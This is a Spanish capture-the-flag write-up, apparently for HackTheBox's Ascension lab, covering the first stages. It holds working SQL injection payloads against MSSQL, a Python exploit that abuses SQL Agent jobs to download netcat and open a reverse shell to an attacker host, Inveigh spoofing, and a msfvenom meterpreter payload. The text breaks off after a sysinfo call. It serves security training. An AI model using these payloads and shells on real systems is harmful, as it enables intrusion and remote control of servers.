Ascension es uno de los endgames existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
Índice
Introducción
Daedalus Airlines is quickly becoming a major player in global aviation.
The pace of growth has meant that the company has accumulated a lot of technical debt. In order to avoid a data breach and potentially putting their supply chain at risk, Daedalus have hired your Cyber Security firm to test their systems.
Ascension is designed to test your skills in Enumeration, Exploitation, Pivoting, Forest Traversal and Privilege Escalation inside two small Active Directory networks.
The goal is to gain access to the trusted partner, pivot through the network and compromise two Active Directory forests while collecting several flags along the way.
Can you Ascend?
Entry Point: 10.13.38.20
Servidores
| Hostname | IP Pública | IP Privada |
| WEB01.daedalus.local | 10.13.38.20 | 192.168.10.39 |
| DC1.daedalus.local | 192.168.10.6 | |
| MS01.megaairline.local | 192.168.11.210 | |
| DC2.megaairline.local | 192.168.11.201 |
1. Takeoff
Empezaremos realizando un escaneo de puertos a la ip 10.13.38.20, en primer lugar para ver los puertos abiertos
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -sS -p- --open --min-rate 1000 -vvv -n -oA enumeration/nmap1 -Pn 10.13.38.20 Nmap scan report for 10.13.38.20 Host is up, received user-set (0.038s latency). Scanned at 2023-11-08 18:14:40 GMT for 102s Not shown: 65534 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Wed Nov 8 18:16:22 2023 -- 1 IP address (1 host up) scanned in 102.00 seconds |
Descubiertos los puertos abiertos lanzamos un escaneo más detallado sobre los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ nmap -sCV -p 80 -oA enumeration/nmap2 10.13.38.20 Nmap scan report for 10.13.38.20 Host is up (0.039s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Daedalus Airlines | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Nov 8 18:16:46 2023 -- 1 IP address (1 host up) scanned in 13.37 seconds |
Vemos un portal web en el puerto 80 bajo un IIS, así que accedemos a través del navegador al mismo
Navegamos por el portal web y descubrimos un formulario para la solicitud de billetes
Hacemos algunas pruebas sobre el mismo, y al introducir un carácter no habitual nos devuelve un error de mssql
El error nos muestra dos cosas, por un lado que es posible realizar un ataque de SQLi y por otro que podemos ver los errores, por lo que esto nos ayudará a detectar fallos en nuestras consultas.
Así que interceptamos la petición con burp
Y la guardaremos en un fichero para utilizarla con sqlmap.
Dicho esto vamos a lanzar un primer ataque para listar las bases de datos existentes
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
$ sqlmap -r book-trip.req -p destination --dbms mssql --batch --dbs ___ __H__ ___ ___[']_____ ___ ___ {1.7.8#stable} |_ -| . ["] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 18:22:55 /2023-11-08/ [18:22:55] [INFO] parsing HTTP request from 'book-trip.req' [18:22:56] [INFO] testing connection to the target URL [18:22:56] [INFO] checking if the target is protected by some kind of WAF/IPS [18:22:57] [INFO] testing if the target URL content is stable [18:22:57] [INFO] target URL content is stable [18:22:57] [INFO] heuristic (basic) test shows that POST parameter 'destination' might be injectable (possible DBMS: 'Microsoft SQL Server') [18:22:58] [INFO] testing for SQL injection on POST parameter 'destination' for the remaining tests, do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n] Y [18:22:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:23:00] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [18:23:00] [INFO] testing 'Generic inline queries' [18:23:00] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace' [18:23:00] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)' [18:23:00] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause' [18:23:00] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value)' [18:23:01] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF)' [18:23:05] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Stacked queries' [18:23:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [18:23:09] [INFO] POST parameter 'destination' is 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' injectable [18:23:09] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:23:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:23:19] [INFO] POST parameter 'destination' appears to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable [18:23:19] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [18:23:30] [INFO] POST parameter 'destination' appears to be 'Microsoft SQL Server/Sybase time-based blind (IF)' injectable [18:23:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' POST parameter 'destination' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 134 HTTP(s) requests: --- Parameter: destination (POST) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN) Payload: destination=a' AND 1373 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(107)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (1373=1373) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)))-- lMzi&adults=s&children=d Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: destination=a';WAITFOR DELAY '0:0:5'--&adults=s&children=d Type: time-based blind Title: Microsoft SQL Server/Sybase time-based blind (IF) Payload: destination=a' WAITFOR DELAY '0:0:5'-- vQxi&adults=s&children=d --- [18:23:30] [INFO] testing Microsoft SQL Server [18:23:30] [INFO] confirming Microsoft SQL Server [18:23:30] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2016 or 2022 or 2019 or 11 or 10 web application technology: PHP 7.3.7, Microsoft IIS 10.0 back-end DBMS: Microsoft SQL Server 2017 [18:23:30] [INFO] fetching database names [18:23:30] [INFO] retrieved: 'daedalus' [18:23:31] [INFO] retrieved: 'logs' [18:23:31] [INFO] retrieved: 'master' [18:23:31] [INFO] retrieved: 'model' [18:23:31] [INFO] retrieved: 'msdb' [18:23:31] [INFO] retrieved: 'tempdb' available databases [6]: [*] daedalus [*] logs [*] master [*] model [*] msdb [*] tempdb [18:23:31] [INFO] fetched data logged to text files under '/home/asdf/.sqlmap/output/10.13.38.20' [*] ending @ 18:23:31 /2023-11-08/ |
Listaremos también los usuarios existentes
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ sqlmap -r book-trip.req -p destination --dbms mssql --batch --users ... database management system users [18]: [*] ##MS_AgentSigningCertificate## [*] ##MS_PolicyEventProcessingLogin## [*] ##MS_PolicySigningCertificate## [*] ##MS_PolicyTsqlExecutionLogin## [*] ##MS_SmoExtendedSigningCertificate## [*] ##MS_SQLAuthenticatorCertificate## [*] ##MS_SQLReplicationSigningCertificate## [*] ##MS_SQLResourceSigningCertificate## [*] daedalus [*] daedalus_admin [*] NT AUTHORITY\\SYSTEM [*] NT Service\\MSSQLSERVER [*] NT SERVICE\\SQLSERVERAGENT [*] NT SERVICE\\SQLTELEMETRY [*] NT SERVICE\\SQLWriter [*] NT SERVICE\\Winmgmt [*] sa [*] WEB01\\svc_dev ... |
Listamos las tablas de la base de datos de Daedalus
|
1 2 3 4 5 6 7 8 9 10 11 |
$ sqlmap -r book-trip.req -p destination --dbms mssql --batch -D daedalus --tables ... Database: daedalus [4 tables] +-----------+ | Countries | | Flights | | packages | | proxies | +-----------+ ... |
Y nos llama la atención la tabla de proxies
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ sqlmap -r book-trip.req -p destination --dbms mssql --batch -D daedalus -T proxies --dump ... Database: daedalus Table: proxies [2 entries] +----------+--------------+------------+----------------+ | proxy_id | subsystem_id | proxy_name | subsystem_name | +----------+--------------+------------+----------------+ | 1 | 3 | svc_dev | CmdExec | | 1 | 12 | svc_dev | PowerShell | +----------+--------------+------------+----------------+ ... |
Vista esta parte vamos a obtener una shell para obtener más información del servidor de base de datos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ sqlmap -r book-trip.req -p destination --dbms mssql --batch --sql-shell ... sql-shell> @@version [18:30:35] [INFO] fetching SQL query output: '@@version' [18:30:35] [INFO] retrieved: 'Microsoft SQL Server 2017 (RTM-GDR) (KB4505224) - 14.0.2027.2 (X64) \n\tJun 15 2019 00:26:19 \n\tCopyright (C) 2017 Microsoft Corporation\n\tStandard Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 1... @@version: 'Microsoft SQL Server 2017 (RTM-GDR) (KB4505224) - 14.0.2027.2 (X64) \n\tJun 15 2019 00:26:19 \n\tCopyright (C) 2017 Microsoft Corporation\n\tStandard Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)\n' sql-shell> db_name() [18:30:46] [INFO] fetching SQL query output: 'db_name()' [18:30:47] [INFO] retrieved: 'daedalus' db_name(): 'daedalus' sql-shell> current_user [18:30:49] [INFO] fetching SQL query output: 'current_user' [18:30:49] [INFO] retrieved: 'daedalus' current_user: 'daedalus' sql-shell> ... |
No podemos utilizar xp_dirtree ni xp_cmdshell así que vamos a buscar otras posibles formas de conseguir explotar el servicio y obtener una shell en el sistema.
Debido a que no tenemos permisos para listar los roles existentes, vamos a crear una tabla en la ddbb de daedalus, sobre el cual después importaremos los datos.
Crearemos la tabla con la siguiente query
|
1 |
CREATE TABLE roles ([username] sysname, [rolename] sysname) |
Que lanzamos desde el sqli detectado en el portal web con el siguiente payload
|
1 |
destination='; CREATE TABLE roles ([username] sysname, [rolename] sysname)-- asdf&adults=s&children=d |
Una vez creada la tabla, importaremos los datos siguiendo el ejemplo de la web de microsoft
Lanzaremos la siguiente query
|
1 2 3 4 5 6 7 8 |
SELECT isnull (DP1.name, 'No members') AS DatabaseUserName, DP2.name AS DatabaseRoleName FROM msdb.sys.database_role_members AS DRM LEFT OUTER JOIN msdb.sys.database_principals AS DP1 ON DRM.member_principal_id = DP1.principal_id RIGHT OUTER JOIN msdb.sys.database_principals AS DP2 ON DRM.role_principal_id = DP2.principal_id WHERE DP2.type = 'R' ORDER BY DP1.name |
Que en el sqli quedaría de la siguiente forma
|
1 2 3 4 5 6 7 8 |
destination='; INSERT INTO roles (rolename,username) SELECT isnull (DP1.name, 'No members') AS DatabaseUserName, DP2.name AS DatabaseRoleName FROM msdb.sys.database_role_members AS DRM LEFT OUTER JOIN msdb.sys.database_principals AS DP1 ON DRM.member_principal_id = DP1.principal_id RIGHT OUTER JOIN msdb.sys.database_principals AS DP2 ON DRM.role_principal_id = DP2.principal_id WHERE DP2.type = 'R' ORDER BY DP1.name--asdf&adults=&children= |
Y verificamos los datos existentes en la tabla
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
$ sqlmap -r book-trip.req -p destination --dbms mssql --batch -D daedalus -T roles --dump --fresh-queries --proxy http://127.0.0.1:8080 ... Database: daedalus Table: roles [39 entries] +------------------------------+-----------------------------------+ | rolename | username | +------------------------------+-----------------------------------+ | public | No members | | TargetServersRole | No members | | SQLAgentUserRole | SQLAgentReaderRole | | SQLAgentUserRole | dc_operator | | SQLAgentUserRole | MS_DataCollectorInternalUser | | SQLAgentUserRole | daedalus_admin | | SQLAgentUserRole | WEB01\\svc_dev | | SQLAgentReaderRole | SQLAgentOperatorRole | | SQLAgentReaderRole | daedalus_admin | | SQLAgentReaderRole | WEB01\\svc_dev | | SQLAgentOperatorRole | PolicyAdministratorRole | | SQLAgentOperatorRole | daedalus_admin | | SQLAgentOperatorRole | WEB01\\svc_dev | | DatabaseMailUserRole | No members | | db_ssisadmin | No members | | db_ssisltduser | dc_operator | | db_ssisltduser | dc_proxy | | db_ssisoperator | dc_operator | | db_ssisoperator | dc_proxy | | db_ssisoperator | MS_DataCollectorInternalUser | | dc_operator | dc_admin | | dc_admin | MS_DataCollectorInternalUser | | dc_proxy | No members | | PolicyAdministratorRole | ##MS_PolicyEventProcessingLogin## | | PolicyAdministratorRole | ##MS_PolicyTsqlExecutionLogin## | | ServerGroupAdministratorRole | No members | | ServerGroupReaderRole | ServerGroupAdministratorRole | | UtilityCMRReader | No members | | UtilityIMRWriter | No members | | UtilityIMRReader | UtilityIMRWriter | | db_owner | dbo | | db_accessadmin | No members | | db_securityadmin | No members | | db_ddladmin | No members | | db_backupoperator | No members | | db_datareader | No members | | db_datawriter | No members | | db_denydatareader | No members | | db_denydatawriter | No members | +------------------------------+-----------------------------------+ ... |
Nos fijaremos sobre todo el usuario daedalus_admin, el cual dispone de los permisos SQLAgentUserRole, SQLAgentReaderRole y SQLAgentOperatorRole.
Estos roles nos indican que el usuario es capaz de leer y ejecutar Agent Jobs en el servidor aunque no sea un sysadmin como tal, por lo que el siguiente paso será verificar si podemos impersonarnos como el mismo para la ejecución de un job que nos permita ejecutar comandos en el sistema.
Así que vamos a crear una tabla sobre la cual guardar los permisos que encontremos
|
1 |
destination='; CREATE TABLE grants (username varchar(1024))-- asdf&adults=s&children=d |
Utilizando la siguiente query obtenida de la web de netspi importaremos los privilegios en nuestra tabla
|
1 2 3 4 5 |
destination='; INSERT INTO grants (username) SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'-- asdf&adults=s&children=d |
Y verificamos
|
1 2 3 4 5 6 7 8 9 10 11 |
$ sqlmap -r book-trip.req -p destination --dbms mssql --batch -D daedalus -T grants --dump --fresh-queries --proxy http://127.0.0.1:8080 ... Database: daedalus Table: grants [1 entry] +----------------+ | username | +----------------+ | daedalus_admin | +----------------+ ... |
Podemos impersonarnos como el usuario daedalus_admin, pero antes de continuar, nos fijamos en lo que dice la documentación oficial de microsoft
A SQL Server Agent proxy account defines a security context in which a job step can run. Each proxy corresponds to a security credential. To set permissions for a particular job step, create a proxy that has the required permissions for a SQL Server Agent subsystem, and then assign that proxy to the job step.
Para poder ejecutar los jobs necesitamos disponer de un proxy a través del cual podamos realizar las ejecuciones pertinentes, así que vamos a crear una tabla proxy sobre la cual importemos la configuración actual.
Creamos la tabla
|
1 |
destination='; CREATE TABLE proxy ([proxy_id] int, [name] sysname, [credential_identity] sysname, [enabled] tinyint, [description] varchar(1024), [user_sid] varbinary(100), [credential_id] int, [credential_identity_exists] int)--asdf&adults=&children= |
Nos impersonamos como daedalus_admin e importamos los datos de sp_help_proxy
|
1 |
destination='; EXEC AS login = N'daedalus_admin'; INSERT INTO proxy EXEC msdb.dbo.sp_help_proxy--asdf&adults=&children= |
Una vez hecho verificamos
|
1 2 3 4 5 6 7 8 9 10 11 |
$ sqlmap -r book-trip.req -p destination --dbms mssql --batch -D daedalus -T proxy --dump --fresh-queries --proxy http://127.0.0.1:8080 ... Database: daedalus Table: proxy [1 entry] +----------+-------------------+---------------+---------+---------+-------------------------------------------------------------+---------------------+----------------------------+ | proxy_id | user_sid | credential_id | name | enabled | description | credential_identity | credential_identity_exists | +----------+-------------------+---------------+---------+---------+-------------------------------------------------------------+---------------------+----------------------------+ | 1 | ?..?\x15.???????. | 65537 | svc_dev | 1 | Allow user to access the CmdExec and Powershell subsystems. | WEB01\\svc_dev | 1 | +----------+-------------------+---------------+---------+---------+-------------------------------------------------------------+---------------------+----------------------------+ ... |
Vista la configuración existente del proxy podemos crear y ejecutar un Agent Job que nos permita ejecutar una revshell con la cual ganar acceso al sistema y revisando en google encontramos un post interesante que explica como lanzar un Command Execution a través de los Agent Job de MSSQL
En nuestro caso subiremos el binario de netcat en un primer paso y en el segundo lo ejecutaremos para ganar acceso, así que he hecho el siguiente script sencillito siguiente el post para poder llevar a cabo el ataque
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
#!/usr/bin/env python3 import sys import random import string import requests def executeAgentJob(subsystem, command): ran = ''.join(random.choices(string.ascii_lowercase, k=5)) sqli_rce = """ USE msdb; EXEC AS login = N'daedalus_admin'; EXEC msdb.dbo.sp_add_job @job_name = N'%s_job'; EXEC msdb.dbo.sp_add_jobstep @job_name = N'%s_job', @step_name = N'%s_step', @subsystem = N'%s', @command = N'%s', @retry_attempts = 1, @retry_interval = 5, @proxy_id=1; EXEC msdb.dbo.sp_add_jobserver @job_name = N'%s_job'; EXEC msdb.dbo.sp_start_job @job_name = N'%s_job'; """ %(ran, ran, ran, subsystem, command, ran, ran) sqli_template = "'; %s--asdf" data = { "destination": sqli_template %(sqli_rce), "adults": "", "children": "" } requests.post("http://10.13.38.20/book-trip.php", data=data) if __name__ == '__main__': if len(sys.argv) < 4: print("usage: python3 mssql-exploit.py lhost dport lport") print("subsystem must be any of: PowerShell, CmdExec") raise SystemExit lhost = sys.argv[1] dport = sys.argv[2] lport = sys.argv[3] # first upload shell subsystem = "PowerShell" command = "powershell.exe -nop -sta -noni -w hidden -exec bypass -c \"IEX ((New-Object Net.WebClient).DownloadFile(''http://%s:%s/nc.exe'', ''$env:userprofile\\nc.exe''))\"" %(lhost, dport) executeAgentJob(subsystem, command) # once uploaded execute it subsystem = 'CmdExec' command = "c:\\windows\\system32\\cmd.exe /c %%USERPROFILE%%\\nc.exe %s %s -e cmd" %(lhost, lport) # run twice to avoid errors executeAgentJob(subsystem, command) executeAgentJob(subsystem, command) |
Una vez listo el script, levantamos una escucha en python para servir el binario de netcat y una escucha y ejecutaremos
|
1 |
$ python3 mssql-exploit.py 10.10.14.12 80 4444 |
Esperamos unos segundos y vemos como ha descargado el binario de netcat
|
1 2 3 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.13.38.20 - - [09/Nov/2023 22:40:10] "GET /nc.exe HTTP/1.1" 200 - |
Y poco después tenemos una shell con el usuario svc_dev
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.12] from (UNKNOWN) [10.13.38.20] 59363 Microsoft Windows [Version 10.0.17763.1613] (c) 2018 Microsoft Corporation. All rights reserved. C:\WINDOWS\system32>whoami whoami web01\svc_dev C:\WINDOWS\system32> |
Vamos al escritorio del usuario y obtenemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
c:\Users\svc_dev\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 81D2-D2F2 Directory of c:\Users\svc_dev\Desktop 06/09/2021 04:29 AM <DIR> . 06/09/2021 04:29 AM <DIR> .. 10/14/2020 09:38 AM 34 flag.txt 1 File(s) 34 bytes 2 Dir(s) 10,476,748,800 bytes free c:\Users\svc_dev\Desktop>type flag.txt type flag.txt ASCENSION{y0ur_XXXXXXXXXXXXXXXXX} c:\Users\svc_dev\Desktop> |
2. Intercept
Una vez tenemos acceso al servidor vamos a enumerar el mismo. Revisamos en primer lugar la configuración de red para detectar la red interna
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
PS C:\Users\svc_dev\Desktop> ipconfig ipconfig Windows IP Configuration Ethernet adapter Ethernet1: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::7475:18dd:b439:e4d7%16 IPv4 Address. . . . . . . . . . . : 192.168.10.39 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : Ethernet adapter Ethernet0 2: Connection-specific DNS Suffix . : IPv4 Address. . . . . . . . . . . : 10.13.38.20 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.13.38.2 |
Y vemos que tiene una pata en la red 192.168.10.0/24 así que vamos a analizar las peticiones en red que hace esta máquina y para ello vamos a utilizar Inveigh
Lo subimos a la máquina y ejecutamos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
PS C:\Users\svc_dev\Desktop> Import-Module .\Inveigh.ps1 PS C:\Users\svc_dev\Desktop> Invoke-Inveigh -IP 192.168.10.39 -ConsoleOutput N -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -HTTP N Invoke-Inveigh -IP 192.168.10.39 -ConsoleOutput N -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -HTTP N [*] Inveigh 1.506 started at 2023-11-09T16:23:37 WARNING: [!] Elevated Privilege Mode = Disabled [+] Primary IP Address = 192.168.10.39 [+] Spoofer IP Address = 192.168.10.39 [+] ADIDNS Spoofer = Disabled [+] DNS Spoofer = Enabled [+] DNS TTL = 30 Seconds [+] LLMNR Spoofer = Enabled [+] LLMNR TTL = 30 Seconds [+] mDNS Spoofer For Type QU = Enabled [+] mDNS TTL = 120 Seconds [+] NBNS Spoofer For Types 00,20 = Enabled [+] NBNS TTL = 165 Seconds [+] SMB Capture = Disabled [+] HTTP Capture = Disabled [+] HTTPS Capture = Disabled [+] Kerberos TGT Capture = Disabled [+] Machine Account Capture = Enabled [+] Console Output = Disabled [+] File Output = Enabled [+] Output Directory = C:\Users\svc_dev\Desktop WARNING: [!] Run Stop-Inveigh to stop |
Nos habrá generado un fichero con la salida
|
1 2 3 4 5 6 7 8 9 10 11 12 |
PS C:\Users\svc_dev\Desktop> dir dir Directory: C:\Users\svc_dev\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 10/14/2020 10:38 AM 34 flag.txt -a---- 11/9/2023 4:24 PM 7168 Inveigh-Log.txt -a---- 11/9/2023 4:14 PM 303194 Inveigh.ps1 |
Así que revisamos el mismo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 |
PS C:\Users\svc_dev\Desktop> type Inveigh-Log.txt type Inveigh-Log.txt [*] Inveigh 1.506 started at 2023-11-09T16:22:22 [!] Elevated Privilege Mode = Disabled [+] Primary IP Address = 192.168.10.39 [+] Spoofer IP Address = 192.168.10.39 [+] ADIDNS Spoofer = Disabled [+] DNS Spoofer = Enabled [+] DNS TTL = 30 Seconds [+] LLMNR Spoofer = Enabled [+] LLMNR TTL = 30 Seconds [+] mDNS Spoofer For Type QU = Enabled [+] mDNS TTL = 120 Seconds [+] NBNS Spoofer For Types 00,20 = Enabled [+] NBNS TTL = 165 Seconds [+] SMB Capture = Disabled [+] HTTP Capture = Disabled [+] HTTPS Capture = Disabled [+] Kerberos TGT Capture = Disabled [+] Machine Account Capture = Enabled [+] Console Output = Full [+] File Output = Enabled [+] Output Directory = C:\Users\svc_dev\Desktop [!] Run Stop-Inveigh to stop [*] Press any key to stop console output [+] [2023-11-09T16:22:47] mDNS(QM) request fin01.local received from 10.13.38.20 [mDNS type disabled] [+] [2023-11-09T16:22:47] mDNS(QM) request fin01.local received from 10.13.38.20 [mDNS type disabled] [+] [2023-11-09T16:22:47] NBNS request FIN01<20> received from 192.168.10.39 [local query] [*] Inveigh 1.506 started at 2023-11-09T16:23:37 [!] Elevated Privilege Mode = Disabled [+] Primary IP Address = 192.168.10.39 [+] Spoofer IP Address = 192.168.10.39 [+] ADIDNS Spoofer = Disabled [+] DNS Spoofer = Enabled [+] DNS TTL = 30 Seconds [+] LLMNR Spoofer = Enabled [+] LLMNR TTL = 30 Seconds [+] mDNS Spoofer For Type QU = Enabled [+] mDNS TTL = 120 Seconds [+] NBNS Spoofer For Types 00,20 = Enabled [+] NBNS TTL = 165 Seconds [+] SMB Capture = Disabled [+] HTTP Capture = Disabled [+] HTTPS Capture = Disabled [+] Kerberos TGT Capture = Disabled [+] Machine Account Capture = Enabled [+] Console Output = Disabled [+] File Output = Enabled [+] Output Directory = C:\Users\svc_dev\Desktop [!] Run Stop-Inveigh to stop [+] [2023-11-09T16:23:47] mDNS(QM) request fin01.local received from 10.13.38.20 [mDNS type disabled] [+] [2023-11-09T16:23:47] mDNS(QM) request fin01.local received from 10.13.38.20 [mDNS type disabled] [+] [2023-11-09T16:23:47] NBNS request FIN01<20> received from 192.168.10.39 [local query] [+] [2023-11-09T16:23:48] NBNS request FIN01<20> received from 192.168.10.39 [local query] [+] [2023-11-09T16:23:48] mDNS(QM) request fin01.local received from 10.13.38.20 [mDNS type disabled] [+] [2023-11-09T16:23:48] mDNS(QM) request fin01.local received from 10.13.38.20 [mDNS type disabled] [+] [2023-11-09T16:23:49] NBNS request FIN01<20> received from 192.168.10.39 [local query] [+] [2023-11-09T16:23:59] NBNS request FIN01<20> received from 10.13.38.20 [response sent] [+] [2023-11-09T16:23:59] LLMNR request for fin01 received from 10.13.38.20 [response sent] [+] [2023-11-09T16:23:59] NBNS request FIN01<20> received from 10.13.38.20 [response sent] [+] [2023-11-09T16:24:00] NBNS request FIN01<20> received from 10.13.38.20 [response sent] [+] [2023-11-09T16:24:47] mDNS(QM) request fin01.local received from 10.13.38.20 [mDNS type disabled] [+] [2023-11-09T16:24:47] mDNS(QM) request fin01.local received from 10.13.38.20 [mDNS type disabled] [+] [2023-11-09T16:24:47] NBNS request FIN01<20> received from 192.168.10.39 [local query] [+] [2023-11-09T16:24:48] NBNS request FIN01<20> received from 192.168.10.39 [local query] [+] [2023-11-09T16:24:48] mDNS(QM) request fin01.local received from 10.13.38.20 [mDNS type disabled] [+] [2023-11-09T16:24:48] mDNS(QM) request fin01.local received from 10.13.38.20 [mDNS type disabled] [+] [2023-11-09T16:24:49] NBNS request FIN01<20> received from 192.168.10.39 [local query] [+] [2023-11-09T16:24:59] mDNS(QM) request fin01.local received from 10.13.38.20 [mDNS type disabled] [+] [2023-11-09T16:24:59] mDNS(QM) request fin01.local received from 10.13.38.20 [mDNS type disabled] [+] [2023-11-09T16:24:59] NBNS request FIN01<20> received from 10.13.38.20 [response sent] [+] [2023-11-09T16:24:59] LLMNR request for fin01 received from 10.13.38.20 [response sent] [+] [2023-11-09T16:24:59] NBNS request FIN01<20> received from 10.13.38.20 [response sent] [+] [2023-11-09T16:25:00] NBNS request FIN01<20> received from 10.13.38.20 [response sent] |
Y vemos que realiza peticiones de forma continuada contra el servidor FIN01, lo que nos da que pensar que podría haber alguna tarea programada encargada de llevar a cabo esa comunicación.
Probamos a obtener las tareas programadas pero carecemos de permisos para ello
|
1 2 3 4 5 6 7 8 |
PS C:\Users\svc_dev\Desktop> Get-ScheduledTask Get-ScheduledTask Get-ScheduledTask : Cannot connect to CIM server. Access denied At line:1 char:1 + Get-ScheduledTask + ~~~~~~~~~~~~~~~~~ + CategoryInfo : ResourceUnavailable: (MSFT_ScheduledTask:String) [Get-ScheduledTask], CimJobException + FullyQualifiedErrorId : CimJob_BrokenCimSession,Get-ScheduledTask |
Así que vamos a utilizar meterpreter para que nos ayude en esta tarea.
Generamos un ejecutable malicioso con dicha revshell
|
1 2 3 4 5 6 7 |
$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.12 LPORT=4445 -f exe -o rev.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 200774 bytes Final size of exe file: 207360 bytes Saved as: rev.exe |
Lanzamos la escucha en metasploit
|
1 2 3 4 5 6 7 8 9 10 11 12 |
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set ExitOnSession false ExitOnSession => false msf6 exploit(multi/handler) > set lhost 10.10.14.12 lhost => 10.10.14.12 msf6 exploit(multi/handler) > set lport 4445 lport => 4445 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.12:4445 |
Subimos el binario y lo ejecutamos
|
1 2 3 4 |
PS C:\Users\svc_dev\Desktop> iwr -uri http://10.10.14.12/rev.exe -outfile rev.exe iwr -uri http://10.10.14.12/rev.exe -outfile rev.exe PS C:\Users\svc_dev\Desktop> .\rev.exe .\rev.exe |
Y tenemos una sesión activa
|
1 2 |
[*] Sending stage (175686 bytes) to 10.13.38.20 [*] Meterpreter session 3 opened (10.10.14.12:4445 -> 10.13.38.20:59403) at 2023-11-09 23:16:59 +0000 |
Accedemos y obtenemos información del sistema en primer lugar
|
1 2 3 4 5 6 7 8 9 |
[*] Starting interaction with 3... meterpreter > sysinfo Computer : WEB01 OS : Windows 2016+ (10.0 Build 17763). Architecture : x64 System Language : en_US Meterpreter : x64/windows meterpreter > |
